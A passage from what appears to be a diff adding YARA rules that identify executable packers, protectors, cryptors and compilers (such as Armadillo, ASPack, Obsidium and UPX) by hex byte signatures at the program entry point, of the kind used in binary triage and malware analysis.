+		$2 = {55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? ?? 40 00 E8 ?? EA FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 BA ?? ?? 40 00 B8 ?? ?? 40 00 E8 63 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? ?? FF FF BA ?? ?? 40 00 8B C3 8B 0D ?? ?? 40 00 E8 ?? ?? FF FF C7 05 ?? ?? 40 00 0A 00 00 00 BB ?? ?? 40 00 BE ?? ?? 40 00 BF ?? ?? 40 00 B8 ?? ?? 40 00 BA 04 00 00 00 E8 ?? EB FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 0A F3 FF FF 89 03 83 3B 00 0F 84 F7 04 00 00 B8 ?? ?? 40 00 8B 16 E8 ?? E1 FF FF B8 ?? ?? 40 00 E8 ?? E0 FF FF 8B D0 8B 03 8B 0E E8 ?? ?? FF FF 8B C7 A3 ?? ?? 40 00 8D 55 EC 33 C0 E8 ?? D3 FF FF 8B 45 EC B9 ?? ?? 40 00 BA ?? ?? 40 00 E8 8B ED FF FF 3C 01 75 2B A1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _Armadillo_v252_beta2__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v2.52 beta2 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? B0 ?? ?? ?? ?? 68 60 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 24}
+	condition:
+		$0 at entrypoint
+}
+rule _eXpressor_v145__CGSoftLabs_
+{
+	meta:
+		description = "eXpressor v1.4.5 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC 50 53 56 57 BE ?? ?? ?? ?? 8D 7D F4 A5 A5 66 A5 8B}
+		$1 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v70_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.0"
+	strings:
+		$0 = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 59 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+		$1 = {6A ?? 68 ?? ?? ?? ?? E8}
+		$2 = {6A 0C 68 88 BF 01 10 E8 B8 1C 00 00 33 C0 40 89 45 E4 8B 75 0C 33 FF 3B F7 75 0C 39 3D 6C 1E 12 10 0F 84 B3 00 00 00 89 7D FC 3B F0 74 05 83 FE 02 75 31 A1 98 36 12 10 3B C7 74 0C FF 75 10 56}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Simple_UPX_Cryptor_v3042005_One_layer_encryption_
+{
+	meta:
+		description = "Simple UPX Cryptor v30.4.2005 [One layer encryption"
+	strings:
+		$0 = {60 B8 ?? ?? ?? 00 B9 ?? 01 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _AverCryptor_102_beta__os1r1s_
+{
+	meta:
+		description = "AverCryptor 1.02 beta -> os1r1s"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 0C 17 40 00 8B BD 33 18 40 00 8B 8D 3B 18 40 00 B8 51 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 37 18 40 00 33 C0 51 33 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 37 18 40 00 8B 85 3F}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 0C 17 40 00 8B BD 33 18 40 00 8B 8D 3B 18 40 00 B8 51 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 37 18 40 00 33 C0 51 33 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 37 18 40 00 8B 85 3F 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 51 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 2F 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yzPack_10__UsAr_
+{
+	meta:
+		description = "yzPack 1.0 -> UsAr"
+	strings:
+		$0 = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _AINEXE_v230_
+{
+	meta:
+		description = "AINEXE v2.30"
+	strings:
+		$0 = {0E 07 B9 ?? ?? BE ?? ?? 33 FF FC F3 A4 A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8}
+		$1 = {0E 07 B9 ?? ?? BE ?? ?? 33 FF FC F3 A4 A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VMware_ThinApp_V4012866__VMware__20090124_
+{
+	meta:
+		description = "VMware ThinApp V4.0.1.2866 -> VMware * 20090124"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 72 13 00 00 2B C3 50 68 00 00 20 46 68 00 60 00 00 68 58 01 00 00 E8 71 FC FF FF E9 DA FC FF FF 55 8B EC 8B 48 3C 83 EC 0C 53 56 57 8D 7C 01 78 8B 0F 85 C9 74 7E 8B 77 04 83 FE 28 72 76 8D 1C 01 8B 53 18 85 D2 74 6C 8B 43 20 3B C1 72 65 8D 14 90 03 F1 3B F2 72 5C 83 65 FC 00 2B C1 03 C3 83 7B 18 00 89 45 F4 76 4B 8B 4D FC 8B 45 F4 8D 04 88 8B 0F 3B 08 77 31 8B 30 FF 75 08 8B C1 89 45 F8 FF 15 2C 30 20 46 8B 4F 04 03 4D F8 8D 44 30 01 3B C1 77 13 2B 75 F8 FF 75 08 03 F3 56 FF 15 28 30 20 46 85 C0 74 12 FF 45 FC 8B 45 FC 3B 43 18 72 B5 33 C0 5F 5E 5B C9 C3 8B 55 FC 39 53 14 76 F1 8B 43 1C 8B 0F 3B C1 72 E8 8D 04 90 8B 57 04 03 D1 8D 70 04 3B D6 72 D9 2B C1 8B 04 18 EB D4 FF 25 5C 14 20 46 00 00 00 00 56 6A 01 FF 74 24 14 6A 00 FF 74 24 18 E8 DC 07 00 00 8B F0 83 C4 10 85 F6 75 04 33 C0 EB 28 68 AB 14 20 46 E8 0B FF FF FF 59 85 C0 74 ED 8B 4C 24 14 68 5C 14 20 46 FF 74 24 10 03 C6 6A 01 C7 01 56 14 20 46 FF D0 5E C2 10 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleBoxPro_2522__Mole_Studio_
+{
+	meta:
+		description = "MoleBoxPro 2.5.22 -> Mole Studio"
+	strings:
+		$0 = {E8 00 00 00 00 60 E8 4F 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00 E8 6E FB FF FF 7E ?? ?? 00 ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A4 ?? ?? ?? A1 ?? ?? ?? E0 ?? ?? ?? 19 ?? ?? ?? BE ?? ?? ?? 13 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 1B ?? ?? ?? D5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9E ?? ?? ?? ?? ?? ?? ?? FC}
+	condition:
+		$0 at entrypoint
+}
+rule _BamBam_v001__Bedrock_
+{
+	meta:
+		description = "BamBam v0.01 -> Bedrock"
+	strings:
+		$0 = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+	condition:
+		$0
+}
+rule _PKZIPSFX_v11_198990_
+{
+	meta:
+		description = "PKZIP-SFX v1.1 1989-90"
+	strings:
+		$0 = {FC 2E 8C 0E ?? ?? A1 ?? ?? 8C CB 81 C3 ?? ?? 3B C3 72 ?? 2D ?? ?? 2D ?? ?? FA BC ?? ?? 8E D0 FB}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_C_20_1988_COM_
+{
+	meta:
+		description = "Turbo C 2.0 (1988) [COM]"
+	strings:
+		$0 = {8C CA 2E 89 16 D6 02 B4 30 CD 21 8B 2E 02 00 8B 1E 2C 00 8E DA A3 00 00 8C 06 00 00 89 1E 00 00 89 2E 00 00 C7 06 00 00 FF FF E8 13 01 C4 3E 00 00 8B C7 8B D8 B9 FF 7F 26 81 3D 38 37 75 19 26 8B 55 02 80 FA 3D 75 10 80 E6 DF FF 06 00 00 80}
+	condition:
+		$0 at entrypoint
+}
+rule _Hitachi_Raster_Format_graphics_format_
+{
+	meta:
+		description = "Hitachi Raster Format graphics format"
+	strings:
+		$0 = {43 41 44 43 2F 4B 52 20 52 53 54}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_21_
+{
+	meta:
+		description = "Petite 2.1"
+	strings:
+		$0 = {64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8}
+		$1 = {64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _diProtector_V1X__diProtector_Software_
+{
+	meta:
+		description = "diProtector V1.X -> diProtector Software"
+	strings:
+		$0 = {01 00 A0 E3 14 00 00 EB 00 00 20 E0 44 10 9F E5 03 2A A0 E3 40 30 A0 E3 AE 00 00 EB 30 00 8F E5 00 20 A0 E1 3A 0E 8F E2 00 00 80 E2 1C 10 9F E5 20 30 8F E2 0E 00 00 EB 14 00 9F E5 14 10 9F E5 7F 20 A0 E3 C5 00 00 EB 04 C0 8F E2 00 F0 9C E5}
+		$1 = {01 00 A0 E3 14 00 00 EB 00 00 20 E0 44 10 9F E5 03 2A A0 E3 40 30 A0 E3 AE 00 00 EB 30 00 8F E5 00 20 A0 E1 3A 0E 8F E2 00 00 80 E2 1C 10 9F E5 20 30 8F E2 0E 00 00 EB 14 00 9F E5 14 10 9F E5 7F 20 A0 E3 C5 00 00 EB 04 C0 8F E2 00 F0 9C E5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_ASProtect_10__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake ASProtect 1.0) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 01 00 00 00 90 5D 81 ED 00 00 00 00 BB 00 00 00 00 03 DD 2B 9D}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 01 00 00 00 90 5D 81 ED 00 00 00 00 BB 00 00 00 00 03 DD 2B 9D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_V1354__Obsidium_Software___200800207_
+{
+	meta:
+		description = "Obsidium V1.3.5.4 -> Obsidium Software  * 200800207"
+	strings:
+		$0 = {EB 03 ?? ?? ?? E8 2D 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 25 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 50}
+	condition:
+		$0 at entrypoint
+}
+rule _MingWin32_GCC_v34X_
+{
+	meta:
+		description = "MingWin32 GCC v3.4.X"
+	strings:
+		$0 = {55 89 E5 83 EC ?? C7 04 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 8D B4 26 ?? ?? ?? ?? 55 89 E5 83 EC ?? C7 04 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 8D B4 26 ?? ?? ?? ?? 55 8B 0D ?? ?? ?? ?? 89 E5 5D FF E1 8D 74 26 ?? 55 8B 0D ?? ?? ?? ?? 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 ?? ?? ?? ?? 90 90 90 90 90 90 90 53 89 C1 0F B6 19 80 FB ?? 74 34 90 8D 74 26}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v103b_
+{
+	meta:
+		description = "ASPack v1.03b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? E8 0D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 58}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED AE 98 43 ?? B8 A8 98 43 ?? 03 C5 2B 85 18 9D 43 ?? 89 85 24 9D 43 ?? 80 BD 0E 9D 43}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_V1300__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.0.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04 24 EB 04 64 6B 88 18 89 85 9C C2 41 00 EB 04 64 6B 88 18 58 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 C2 50 00 EB D3 5B F3 68 89 5C 24 48 5C 24 58 FF 8D 5C 24 58 5B 83 C3 4C 75 F4 5A 8D 71 78 75 09 81 F3 EB FF 52 BA 01 00 83 EB FC 4A FF 71 0F 75 19 8B 5C 24 00 00 81 33 50 53 8B 1B 0F FF C6 75 1B 81 F3 EB 87 1C 24 8B 8B 04 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 58 EB FF F0 EB FF C0 83 E8 FD EB FF 30 E8 C9 00 00 00 89 E0 EB FF D0 EB FF 71 0F 83 C0 01 EB FF 70 F0 71 EE EB FA EB 83 C0 14 EB FF 70 ED}
+		$1 = {EB 04 ?? ?? ?? ?? E8 29 00 00 00}
+		$2 = {EB 04 ?? ?? ?? ?? E8 ?? 00 00 00}
+		$3 = {EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 22 EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 01}
+		$4 = {EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 22 EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 01 ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 47 26 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _ACProtectUltraProtect_10X20X__RiSco_
+{
+	meta:
+		description = "ACProtect/UltraProtect 1.0X-2.0X -> RiSco"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00}
+		$1 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _yodas_Protector_v1032_dllocx__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector v1.03.2 (.dll,.ocx) -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v11_
+{
+	meta:
+		description = "EXE Stealth v1.1"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+		$1 = {60 E8 00 00 00 00 5D 81 ED FB 1D 40 00 B9 7B 09 00 00 8B F7 AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Imploder_v104__BoB__BobSoft_
+{
+	meta:
+		description = "Imploder v1.04 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+		$1 = {60 E8 A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_v098b_exe_
+{
+	meta:
+		description = "aPack v0.98b (exe)"
+	strings:
+		$0 = {93 07 1F 05 ?? ?? 8E D0 BC ?? ?? EA}
+	condition:
+		$0 at entrypoint
+}
+rule _hmimysPacker_10__hmimys_
+{
+	meta:
+		description = "hmimys-Packer 1.0 -> hmimys"
+	strings:
+		$0 = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07}
+		$1 = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ASL_Crypt_01_
+{
+	meta:
+		description = "ASL Crypt 0.1"
+	strings:
+		$0 = {41 2E 53 2E 4C F8 43 72 79 70 74}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_12_Beta_Demo__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.2 Beta (Demo) -> SIS-Team"
+	strings:
+		$0 = {68 69 D6 00 00 E8 C6 FD FF FF 68 69 D6 00 00 E8 BC FD FF FF 83 C4 08 E8 A4 FF FF FF 84 C0 74 2F 68 04 01 00 00 68 B0 21 60 00 6A 00 FF 15 08 10 60 00 E8 29 FF FF FF 50 68 88 10 60 00 68 78 10 60 00 68 B0 21 60 00 E8 A4 FD FF FF 83 C4 10 33 C0 C2 10 00 90}
+		$1 = {68 69 D6 00 00 E8 C6 FD FF FF 68 69 D6 00 00 E8 BC FD FF FF 83 C4 08 E8 A4 FF FF FF 84 C0 74 2F 68 04 01 00 00 68 B0 21 60 00 6A 00 FF 15 08 10 60 00 E8 29 FF FF FF 50 68 88 10 60 00 68 78 10 60 00 68 B0 21 60 00 E8 A4 FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 90 90 90 90 90 90 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Anskya_NTPacker_Generator__Anskya_
+{
+	meta:
+		description = "Anskya NTPacker Generator -> Anskya"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 B8 88 1D 00 10 E8 C7 FA FF FF 6A 0A 68 20 1E 00 10 A1 14 31 00 10 50 E8 71 FB FF FF 8B D8 85 DB 74 2F 53 A1 14 31 00 10 50 E8 97 FB FF FF 85 C0 74 1F 53 A1 14 31 00 10 50 E8 5F FB FF FF 85 C0 74 0F 50 E8 5D FB FF FF 85 C0 74 05 E8 70}
+		$1 = {55 8B EC 83 C4 F0 53 B8 88 1D 00 10 E8 C7 FA FF FF 6A 0A 68 20 1E 00 10 A1 14 31 00 10 50 E8 71 FB FF FF 8B D8 85 DB 74 2F 53 A1 14 31 00 10 50 E8 97 FB FF FF 85 C0 74 1F 53 A1 14 31 00 10 50 E8 5F FB FF FF 85 C0 74 0F 50 E8 5D FB FF FF 85 C0 74 05 E8 70 FC FF FF 5B E8 F2 F6 FF FF 00 00 48 45 41 52 54}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _UPX_v081__v084_Modified_
+{
+	meta:
+		description = "UPX v0.81 - v0.84 Modified"
+	strings:
+		$0 = {01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77 EF}
+	condition:
+		$0 at entrypoint
+}
+rule _MacroMedia_ShockWave_Movie_file_
+{
+	meta:
+		description = "MacroMedia ShockWave Movie file"
+	strings:
+		$0 = {46 57 53}
+	condition:
+		$0 at entrypoint
+}
+rule _TPACK_v05c_m2_
+{
+	meta:
+		description = "T-PACK v0.5c -m2"
+	strings:
+		$0 = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 CE FD}
+	condition:
+		$0 at entrypoint
+}
+rule _RAZOR_1911_encruptor_
+{
+	meta:
+		description = "RAZOR 1911 encruptor"
+	strings:
+		$0 = {E8 ?? ?? BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+		$1 = {E8 ?? ?? BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v110b5_
+{
+	meta:
+		description = "PECompact v1.10b5"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 49}
+	condition:
+		$0 at entrypoint
+}
+rule _PEX_v099__bart_
+{
+	meta:
+		description = "PEX v0.99 -> bart"
+	strings:
+		$0 = {68 FA 30 41 00 C3 20 20}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_226_DLL_minimum_protection__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.2.6 DLL (minimum protection) -> www.strongbit.com"
+	strings:
+		$0 = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0}
+		$1 = {50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _JPEG__GIF_library_file_
+{
+	meta:
+		description = "JPEG & GIF library file"
+	strings:
+		$0 = {00 05 16 07 00 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1355__Obsidium_Software____20080411_
+{
+	meta:
+		description = "Obsidium V1.3.5.5 -> Obsidium Software   * 20080411"
+	strings:
